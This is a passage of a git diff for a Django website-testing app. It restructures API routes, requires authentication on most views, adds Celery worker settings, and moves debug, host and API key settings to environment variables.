bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete() - - return - - - - -def create_testcase_task( - testcase_id=None, - site_id=None, - case_id=None, - updates=None, - configs=None, - automation_id=None - ): - - if testcase_id != None: - testcase = Testcase.objects.get(id=testcase_id) - - else: - case = Case.objects.get(id=case_id) - site = Site.objects.get(id=site_id) - steps = case.steps - for step in steps: - if step['action']['type'] != None: - step['action']['time_created'] = None - step['action']['time_completed'] = None - step['action']['exception'] = None - step['action']['passed'] = None - - if step['assertion']['type'] != None: - step['assertion']['time_created'] = None - step['assertion']['time_completed'] = None - step['assertion']['exception'] = None - step['assertion']['passed'] = None - - if updates != None: - for update in updates: - steps[int(update['index'])]['action']['value'] = update['value'] - - if configs is None: - configs = { - 'window_size': '1920,1080', - 'device': 'desktop', - 'interval': 5, - 'min_wait_time': 10, - 'max_wait_time': 30, - } - - testcase = Testcase.objects.create( - case = case, - case_name = case.name, - site = site, - user = site.user, - configs = configs, - steps = steps - ) - - - # running testcase - testresult = asyncio.run( - Caser(testcase=testcase).run() - ) - - if automation_id: - automation(automation_id, testcase.id) - - return - - - - -def migrate_site_task( - login_url, - admin_url, - username, - password, - email_address, - destination_url, - sftp_address, - dbname, - sftp_username, - sftp_password, - plugin_name, - wait_time, - process_id, - driver, - - ): - - if driver == 'selenium': - # init wordpress - wp = W( - login_url=login_url, - admin_url=admin_url, - username=username, - password=password, - email_address=email_address, - destination_url=destination_url, - sftp_address=sftp_address, - dbname=dbname, - sftp_username=sftp_username, - sftp_password=sftp_password, - wait_time=wait_time, - process_id=process_id, - - ) - - # login - wp_status = wp.login() - # adjust lang - wp_status = wp.begin_lang_check() - # install plugin - wp_status = wp.install_plugin(plugin_name=plugin_name) - # launch migration - wp_status = wp.launch_migration() - # run migration - wp_status = wp.run_migration() - # re adjust lang - # wp_status = wp.end_lang_check() - - else: - # init wordpress for puppeteer - wp_status = asyncio.run( - W_P( - login_url=login_url, - admin_url=admin_url, - username=username, - password=password, - email_address=email_address, - destination_url=destination_url, - sftp_address=sftp_address, - dbname=dbname, - sftp_username=sftp_username, - sftp_password=sftp_password, - wait_time=wait_time, - process_id=process_id, - ).run_full(plugin_name=plugin_name) - ) - - return - - - - - - \ No newline at end of file diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py index f0d0f7ab..f83a2aef 100644 --- a/app/api/v1/ops/urls.py +++ b/app/api/v1/ops/urls.py @@ -3,38 +3,60 @@ urlpatterns = [ + path('search', views.Search.as_view(), name='search'), path('site', views.Sites.as_view(), name='site'), path('site/', views.SiteDetail.as_view(), name='site-detail'), - path('site/delay', views.SiteDelay.as_view(), name='site-delay'), + path('site//crawl', views.SiteCrawl.as_view(), name='site-crawl'), path('sites/delete', views.SitesDelete.as_view(), name='sites-delete'), + path('sites/zapier', views.SitesZapier.as_view(), name='sites-zapier'), + path('page', views.Pages.as_view(), name='page'), + path('page/', views.PageDetail.as_view(), name='page-detail'), + path('pages/delete', views.PagesDelete.as_view(), name='pages-delete'), + path('pages/zapier', views.PagesZapier.as_view(), name='pages-zapier'), path('scan', views.Scans.as_view(), name='scan'), path('scan/', views.ScanDetail.as_view(), name='scan-detail'), path('scan//lean', views.ScanLean.as_view(), name='scan-lean'), - path('scan/delay', views.ScanDelay.as_view(), name='scan-delay'), path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'), + path('scans/create', views.ScansCreate.as_view(), name='scans-create'), + path('scans/zapier', views.ScansZapier.as_view(), name='scans-zapier'), path('test', views.Tests.as_view(), name='test'), path('test/', views.TestDetail.as_view(), name='test-detail'), path('test//lean', views.TestLean.as_view(), name='test-lean'), - path('test/delay', views.TestDelay.as_view(), name='test-delay'), path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'), - path('log', views.Logs.as_view(), name='log'), - path('log/', views.LogDetail.as_view(), name='log-detail'), + path('tests/create', views.TestsCreate.as_view(), name='tests-create'), + path('tests/zapier', views.TestsZapier.as_view(), name='tests-zapier'), + path('case', views.Cases.as_view(), name='case'), + path('case/', views.CaseDetail.as_view(), name='case-detail'), + path('case/search', views.CasesSearch.as_view(), name='case-search'), + path('case/auto', views.AutoCases.as_view(), name='case-auto'), + path('case/copy', views.CopyCases.as_view(), name='case-copy'), + path('cases/zapier', views.CasesZapier.as_view(), name='cases-zapier'), + path('testcase', views.Testcases.as_view(), name='testcase'), + path('testcase/', views.TestcaseDetail.as_view(), name='testcase-detail'), + path('testcases/zapier', views.TestcasesZapier.as_view(), name='testcases-zapier'), + path('issue', views.Issues.as_view(), name='issue'), + path('issue/search', views.IssuesSearch.as_view(), name='issue-search'), + path('issue/', views.IssueDetail.as_view(), name='issue-detail'), + path('issues/update', views.IssuesUpdate.as_view(), name='issues-update'), + path('issues/delete', views.IssuesDelete.as_view(), name='issues-delete'), + path('issues/zapier', views.IssuesZapier.as_view(), name='issues-zapier'), + path('report', views.Reports.as_view(), name='report'), + path('report/', views.ReportDetail.as_view(), name='report-detail'), path('schedule', views.Schedules.as_view(), name='schedule'), path('schedule/', views.ScheduleDetail.as_view(), name='schedule-detail'), + path('schedule/run', views.ScheduleRun.as_view(), name='schedule-run'), + path('schedules/update', views.SchedulesUpdate.as_view(), name='schedule-update'), + path('schedules/delete', views.SchedulesDelete.as_view(), name='schedule-delete'), path('automation', views.Automations.as_view(), name='automation'), path('automation/', views.AutomationDetail.as_view(), name='automation-detail'), - path('report', views.Reports.as_view(), name='report'), - path('report/', views.ReportDetail.as_view(), name='report-detail'), - path('home-stats', views.HomeStats.as_view(), name='home-stats'), path('process', views.Processes.as_view(), name='process'), path('process/', views.ProcessDetail.as_view(), name='process-detail'), - path('case', views.Cases.as_view(), name='case'), - path('case/', views.CaseDetail.as_view(), name='case-detail'), - path('case/search', views.CasesSearch.as_view(), name='case-search'), - path('testcase', views.Testcases.as_view(), name='testcase'), - path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'), - path('testcase/', views.TestcaseDetail.as_view(), name='testcase-detail'), + path('log', views.Logs.as_view(), name='log'), + path('log/', views.LogDetail.as_view(), name='log-detail'), + path('metrics/home', views.HomeMetrics.as_view(), name='home-metrics'), + path('metrics/site', views.SiteMetrics.as_view(), name='site-metrics'), + path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'), path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'), - path('beta/wordpress/migrate/delay', views.WordPressMigrateSiteDelay.as_view(), name='migrate-site-delay'), - path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), + path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), + path('beta/report/export', views.ExportReport.as_view(), name='export-report'), ] \ No newline at end of file diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py index 2bc92ea0..b8f8f894 100644 --- a/app/api/v1/ops/views.py +++ b/app/api/v1/ops/views.py @@ -7,9 +7,8 @@ from django.urls import path, include from rest_framework import routers, serializers, viewsets from rest_framework.viewsets import ViewSet -from rest_framework.permissions import AllowAny +from rest_framework.permissions import AllowAny, IsAuthenticated from rest_framework.views import APIView -from rest_framework.permissions import IsAuthenticated from django.views.decorators.csrf import ensure_csrf_cookie from rest_framework.pagination import LimitOffsetPagination from django.urls import resolve @@ -18,8 +17,16 @@ + + + +### ------ Begin Site Views ------ ### + + + + class Sites(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post', 'get'] pagination_class = LimitOffsetPagination @@ -30,26 +37,17 @@ def post(self, request): def get(self, request): response = get_sites(request) return response - + + class SiteDetail(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'delete'] def get(self, request, id): - site = get_object_or_404(Site, pk=id) - user = request.user - account = Member.objects.get(user=user).account - if site.account != account: - data = {'reason': 'you cannot retrieve a Site you do not own',} - record_api_call(request, data, '401') - return Response(data, status=status.HTTP_403_FORBIDDEN) - serializer_context = {'request': request,} - serialized = SiteSerializer(site, context=serializer_context) - data = serialized.data - record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + response = get_site(request, id) + return response def delete(self, request, id): response = delete_site(request, id) @@ -57,18 +55,20 @@ def delete(self, request, id): -class SiteDelay(APIView): - permission_classes = (AllowAny,) + +class SiteCrawl(APIView): + permission_classes = (IsAuthenticated,) http_method_names = ['post',] - def post(self, request): - response = create_site(request, delay=True) + def post(self, request, id): + response = crawl_site(request, id) return response + class SitesDelete(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post',] def post(self, request): @@ -78,8 +78,82 @@ def post(self, request): +class SitesZapier(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get'] + + def get(self, request): + response = get_sites_zapier(request) + return response + + + + +### ------ Begin Page Views ------ ### + + + + +class Pages(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['post', 'get'] + pagination_class = LimitOffsetPagination + + def post(self, request): + response = create_page(request) + return response + + def get(self, request): + response = get_pages(request) + return response + + + + +class PageDetail(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + response = get_page(request, id) + return response + + def delete(self, request, id): + response = delete_page(request, id) + return response + + + + +class PagesDelete(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['post',] + + def post(self, request): + response = delete_many_pages(request) + return response + + + + +class PagesZapier(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get'] + + def get(self, request): + response = get_pages_zapier(request) + return response + + + + +### ------ Begin Scan Views ------ ### + + + + class Scans(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post', 'get',] pagination_class = LimitOffsetPagination @@ -92,25 +166,15 @@ def get(self, request): return response + + class ScanDetail(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'delete',] def get(self, request, id): - scan = get_object_or_404(Scan, pk=id) - user = request.user - account = Member.objects.get(user=user).account - - if scan.site.account != account: - data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - serializer_context = {'request': request,} - serialized = ScanSerializer(scan, context=serializer_context) - data = serialized.data - record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + response = get_scan(request, id) + return response def delete(self, request, id): @@ -118,8 +182,10 @@ def delete(self, request, id): return response + + class ScanLean(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', ] def get(self, request, id): @@ -127,17 +193,21 @@ def get(self, request, id): return response -class ScanDelay(APIView): - permission_classes = (AllowAny,) + + +class ScansCreate(APIView): + permission_classes = (IsAuthenticated,) http_method_names = ['post',] def post(self, request): - response = create_scan(request, delay=True) + response = create_many_scans(request) return response + + class ScansDelete(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post',] def post(self, request): @@ -147,9 +217,24 @@ def post(self, request): +class ScansZapier(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get'] + + def get(self, request): + response = get_scans_zapier(request) + return response + + + + +### ------ Begin Test Views ------ ### + + + class Tests(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post', 'get',] pagination_class = LimitOffsetPagination @@ -162,33 +247,25 @@ def get(self, request): return response + + class TestDetail(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'delete',] def get(self, request, id): - test = get_object_or_404(Test, pk=id) - user = request.user - account = Member.objects.get(user=user).account - - if test.site.account != account: - data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - serializer_context = {'request': request,} - serialized = TestSerializer(test, context=serializer_context) - data = serialized.data - record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + response = get_test(request, id) + return response def delete(self, request, id): response = delete_test(request, id) return response + + class TestLean(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get',] def get(self, request, id): @@ -196,17 +273,21 @@ def get(self, request, id): return response -class TestDelay(APIView): - permission_classes = (AllowAny,) + + +class TestsCreate(APIView): + permission_classes = (IsAuthenticated,) http_method_names = ['post',] def post(self, request): - response = create_test(request, delay=True) + response = create_many_tests(request) return response + + class TestsDelete(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post',] def post(self, request): @@ -216,10 +297,24 @@ def post(self, request): +class TestsZapier(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get'] + + def get(self, request): + response = get_tests_zapier(request) + return response + + + + +### ------ Begin Schedule Views ------ ### + + class Schedules(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post', 'get'] def post(self, request): @@ -231,25 +326,15 @@ def get(self, request): return response + + class ScheduleDetail(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'delete'] def get(self, request, id): - schedule = get_object_or_404(Schedule, pk=id) - user = request.user - account = Member.objects.get(user=user).account - - if schedule.site.account != account: - data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - serializer_context = {'request': request,} - serialized = ScheduleSerializer(schedule, context=serializer_context) - data = serialized.data - record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + response = get_schedule(request, id) + return response def delete(self, request, id): response = delete_schedule(request, id) @@ -258,9 +343,46 @@ def delete(self, request, id): +class ScheduleRun(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['post'] + + def post(self, request): + response = run_schedule(request) + return response + + + + +class SchedulesUpdate(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['post',] + + def post(self, request): + response = update_many_schedules(request) + return response + + + + +class SchedulesDelete(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['post',] + + def post(self, request): + response = delete_many_schedules(request) + return response + + + + +### ------ Begin Automation Views ------ ### + + + class Automations(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'post'] pagination_class = LimitOffsetPagination @@ -273,25 +395,15 @@ def get(self, request): return response + + class AutomationDetail(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'delete'] def get(self, request, id): - automation = get_object_or_404(Automation, pk=id) - user = request.user - account = Member.objects.get(user=user).account - - if automation.user != request.user: - data = {'reason': 'you cannot retrieve Automations you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - serializer_context = {'request': request,} - serialized = AutomationSerializer(automation, context=serializer_context) - data = serialized.data - record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + response = get_automation(request, id) + return response def delete(self, request, id): response = delete_automation(request, id) @@ -300,9 +412,13 @@ def delete(self, request, id): +### ------ Begin Report Views ------ ### + + + class Reports(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post', 'get'] def post(self, request): @@ -315,25 +431,14 @@ def get(self, request): + class ReportDetail(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'delete'] def get(self, request, id): - report = get_object_or_404(Report, pk=id) - user = request.user - account = Member.objects.get(user=user).account - - if report.account != account: - data = {'reason': 'you cannot retrieve Reports you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - serializer_context = {'request': request,} - serialized = ReportSerializer(report, context=serializer_context) - data = serialized.data - record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + response = get_report(request, id) + return response def delete(self, request, id): response = delete_report(request, id) @@ -342,12 +447,23 @@ def delete(self, request, id): +class ExportReport(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['post',] + + def post(self, request): + response = export_report(request) + return response + + + +### ------ Begin Case Views ------ ### class Cases(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post', 'get'] def post(self, request): @@ -360,8 +476,9 @@ def get(self, request): + class CasesSearch(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get'] def get(self, request): @@ -370,25 +487,14 @@ def get(self, request): + class CaseDetail(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'delete'] def get(self, request, id): - case = get_object_or_404(Case, pk=id) - user = request.user - account = Member.objects.get(user=user).account - - if case.account != account: - data = {'reason': 'you cannot retrieve Cases you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - serializer_context = {'request': request,} - serialized = CaseSerializer(case, context=serializer_context) - data = serialized.data - record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + response = get_case(request, id) + return response def delete(self, request, id): response = delete_case(request, id) @@ -396,8 +502,47 @@ def delete(self, request, id): + +class AutoCases(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['post'] + + def post(self, request): + response = create_auto_cases(request) + return response + + + + +class CopyCases(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['post'] + + def post(self, request): + response = copy_case(request) + return response + + + + +class CasesZapier(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get'] + + def get(self, request): + response = get_cases_zapier(request) + return response + + + + +### ------ Begin Testcase Views ------ ### + + + + class Testcases(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post', 'get'] def post(self, request): @@ -410,46 +555,119 @@ def get(self, request): -class TestcaseDelay(APIView): - permission_classes = (AllowAny,) - http_method_names = ['post',] + +class TestcaseDetail(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + response = get_testcase(request, id) + return response + + def delete(self, request, id): + response = delete_testcase(request, id) + return response + + + + +class TestcasesZapier(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get'] + + def get(self, request): + response = get_testcases_zapier(request) + return response + + + + +### ------ Begin Issue Views ------ ### + + + + +class Issues(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['post', 'get'] def post(self, request): - response = create_testcase(request, delay=True) + response = create_or_update_issue(request) + return response + + def get(self, request): + response = get_issues(request) return response -class TestcaseDetail(APIView): - permission_classes = (AllowAny,) + +class IssuesSearch(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get'] + + def get(self, request): + response = search_issues(request) + return response + + + + +class IssueDetail(APIView): + permission_classes = (IsAuthenticated,) http_method_names = ['get', 'delete'] def get(self, request, id): - testcase = get_object_or_404(Testcase, pk=id) - user = request.user - account = Member.objects.get(user=user).account - - if testcase.account != account: - data = {'reason': 'you cannot retrieve Testcases you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - serializer_context = {'request': request,} - serialized = TestcaseSerializer(testcase, context=serializer_context) - data = serialized.data - record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + response = get_issue(request, id) + return response def delete(self, request, id): - response = delete_testcase(request, id) + response = delete_issue(request, id) return response +class IssuesUpdate(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['post',] + + def post(self, request): + response = update_many_issues(request) + return response + + + + +class IssuesDelete(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['post',] + + def post(self, request): + response = delete_many_issues(request) + return response + + + + +class IssuesZapier(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get'] + + def get(self, request): + response = get_issues_zapier(request) + return response + + + + +### ------ Begin Log Views ------ ### + + + class Logs(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get',] pagination_class = LimitOffsetPagination @@ -458,37 +676,26 @@ def get(self, request): return response + + class LogDetail(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get',] def get(self, request, id): - log = get_object_or_404(Log, pk=id) - if log.user != request.user: - data = {'reason': 'you cannot retrieve Logs you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - serializer_context = {'request': request,} - serialized = LogSerializer(log, context=serializer_context) - data = serialized.data - return Response(data, status=status.HTTP_200_OK) + response = get_log(request, id) + return response -class HomeStats(APIView): - permission_classes = (AllowAny,) - http_method_names = ['get',] - def get(self, request): - response = get_home_stats(request) - return response +### ------ Begin Process Views ------ ### class Processes(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get'] def get(self, request): @@ -496,47 +703,99 @@ def get(self, request): return response + + class ProcessDetail(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['get',] def get(self, request, id): - if not Process.objects.filter(id=id).exists(): - data = {'reason': 'process with that id does not exist',} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - proc = Process.objects.get(id=id) - serializer_context = {'request': request,} - serialized = ProcessSerializer(proc, context=serializer_context) - data = serialized.data - record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + response = get_process(request, id) + return response -class WordPressMigrateSite(APIView): + +### ------ Begin Search Views ------ ### + + + + +class Search(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get',] + + def get(self, request): + response = search_resources(request) + return response + + + + + +### ------ Begin Metrics Views ------ ### + + + + +class HomeMetrics(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get',] + + def get(self, request): + response = get_home_metrics(request) + return response + + + + +class SiteMetrics(APIView): + permission_classes = (IsAuthenticated,) + http_method_names = ['get',] + + def get(self, request): + response = get_site_metrics(request) + return response + + + + +class CeleryMetrics(APIView): + authentication_classes = [] permission_classes = (AllowAny,) - http_method_names = ['post',] + http_method_names = ['get',] - def post(self, request): - response = migrate_site(request, delay=False) + def get(self, request): + response = get_celery_metrics(request) return response -class WordPressMigrateSiteDelay(APIView): - permission_classes = (AllowAny,) + + +### ------ Begin Beta Views ------ ### + + + + +class WordPressMigrateSite(APIView): + permission_classes = (IsAuthenticated,) http_method_names = ['post',] def post(self, request): - response = migrate_site(request, delay=True) + response = migrate_site(request) return response + + class SiteScreenshot(APIView): - permission_classes = (AllowAny,) + permission_classes = (IsAuthenticated,) http_method_names = ['post',] def post(self, request): response = create_site_screenshot(request) - return response \ No newline at end of file + return response + + + + diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py index 08e5ae7e..1839e4a7 100644 --- a/app/scanerr/celery.py +++ b/app/scanerr/celery.py @@ -1,17 +1,46 @@ from __future__ import absolute_import, unicode_literals from celery import Celery +from celery.signals import worker_shutdown from django.conf import settings -import scanerr, os +import scanerr, os, time + + + + +# setting DJANGO_SETTINGS_MODULE to scanerr.settings os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings') +# init celery app = Celery('scanerr') + +# configure namespace app.config_from_object('django.conf:settings', namespace='CELERY') -app.autodiscover_tasks() +# celery and beat configs +app.conf.update( + task_acks_late=True, + worker_prefetch_multiplier=1, + worker_hijack_root_logger=False, + task_always_eager=False, + worker_cancel_long_running_tasks_on_connection_loss=True, + worker_max_tasks_per_child=100 +) +# setting tasks to auto-discover +app.autodiscover_tasks() + +# setting debug @app.task(bind=False) def debug_task(self): - print('Request: {0!r}'.format(self.request)) + print(f'Request: {self.request}') + +# notify of SIGTERM +@worker_shutdown.connect +def on_worker_shutdown(**kwargs): + print(f'- WORKER SHUTTING DOWN - \n{kwargs}') + + + diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 1d4b50c8..ae8f36da 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,19 +21,25 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = True +DEBUG = True if os.environ.get('DEBUG') == 'True' else False -ALLOWED_HOSTS = ['*'] -CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') -LANDING_URL_ROOT = os.environ.get('LANDING_URL_ROOT') -API_URL_ROOT = os.environ.get('API_URL_ROOT') +# Network settings CORS_ORIGIN_ALLOW_ALL = True DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880 - SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https") +ALLOWED_HOSTS = [os.environ.get('DJANGO_ALLOWED_HOSTS')] -# Application definition +# URLs +CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') +LANDING_API_ROOT = os.environ.get('LANDING_API_ROOT') +API_URL_ROOT = os.environ.get('API_URL_ROOT') +YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT') +LIGHTHOUSE_ROOT = os.environ.get('LIGHTHOUSE_ROOT') + +# Scanerr.landing API KEY +LANDING_API_KEY = os.environ.get('LANDING_API_KEY') +# Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', @@ -49,7 +55,6 @@ 'markdownify.apps.MarkdownifyConfig', 'storages', ] - MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'whitenoise.middleware.WhiteNoiseMiddleware', @@ -61,9 +66,7 @@ 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'corsheaders.middleware.CorsMiddleware', ] - ROOT_URLCONF = 'scanerr.urls' - TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', @@ -79,7 +82,6 @@ }, }, ] - WSGI_APPLICATION = 'scanerr.wsgi.application' @@ -97,7 +99,6 @@ } - # Password validation # https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ @@ -128,7 +129,6 @@ 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination', 'PAGE_SIZE': 10, } - SIMPLE_JWT = { 'ACCESS_TOKEN_LIFETIME': timedelta(hours=24), 'REFRESH_TOKEN_LIFETIME': timedelta(hours=36), @@ -137,15 +137,10 @@ # Internationalization # https://docs.djangoproject.com/en/3.2/topics/i18n/ - LANGUAGE_CODE = 'en-us' - TIME_ZONE = 'UTC' - USE_I18N = True - USE_L10N = True - USE_TZ = True @@ -154,25 +149,16 @@ STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, "static") -# needed for deployments without nginx -STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage" -### ONLY NEEDED IF USING DJANGO-STORAGES | remote storage settings for serving static files to django admin ### -# DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' -# STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' -# STORAGE_DOMAIN = os.environ.get('STORAGE_DOMAIN') -# STATIC_ROOT = 'static' -# MEDIA_ROOT = 'media' -# STATIC_URL = f"https://{AWS_S3_ENDPOINT_URL}/{STATIC_ROOT}/" -# MEDIA_URL = f"https://{AWS_S3_ENDPOINT_URL}/{MEDIA_ROOT}/" -# AWS_S3_ENDPOINT_PATH = os.environ.get('AWS_S3_ENDPOINT_PATH') -# AWS_S3_CUSTOM_DOMAIN = os.environ.get('AWS_S3_CUSTOM_DOMAIN') +# Static file service without nginx +STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage" # Used to authenticate with S3 using 'django-stores' pypi package and 'boto3' AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID') AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY') + # Configure which endpoint to send files to, and retrieve files from. AWS_STORAGE_BUCKET_NAME = os.environ.get('AWS_STORAGE_BUCKET_NAME') AWS_S3_REGION_NAME = os.environ.get('AWS_S3_REGION_NAME') @@ -189,19 +175,20 @@ } - -# Redis and Celery Conf +# Redis and Celery Config CELERY_BROKER_URL = "redis://redis:6379" -CELERY_RESULT_BACKEND = "redis://redis:6379" +# RabbitMQ and Celery Config +# CELERY_BROKER_URL = "amqp://rabbitmq" + # Default primary key field type # https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' -# email +# Email EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend' EMAIL_HOST = os.environ.get('EMAIL_HOST') EMAIL_PORT = os.environ.get('EMAIL_PORT') @@ -217,16 +204,49 @@ AUTOMATION_TEMPLATE = os.environ.get('AUTOMATION_TEMPLATE') - -# google oAuth2 +# Google oAuth2 GOOGLE_OAUTH2_CLIENT_ID = os.environ.get('GOOGLE_OAUTH2_CLIENT_ID') GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET') -# stripe keys +# Google API key +GOOGLE_CRUX_KEY = os.environ.get('GOOGLE_CRUX_KEY') + + +# OpenAI's GPT API key +GPT_API_KEY = os.environ.get('GPT_API_KEY') + + +# Stripe keys if os.environ.get('STRIPE_ENV') == 'prod': STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_LIVE') STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_LIVE') if os.environ.get('STRIPE_ENV') == 'dev': STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_TEST') - STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_TEST') \ No newline at end of file + STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_TEST') + + +# Global configs +CONFIGS = { + 'window_size': '1920,1080', + 'browser': 'chrome', + 'device': 'desktop', + 'mask_ids': None, + 'interval': 1, + 'min_wait_time': 3, + 'max_wait_time': 30, + 'timeout': 300, + 'disable_animations': False, + 'auto_height': True, + 'create_issue': True +} + + +# Global Test.threshold 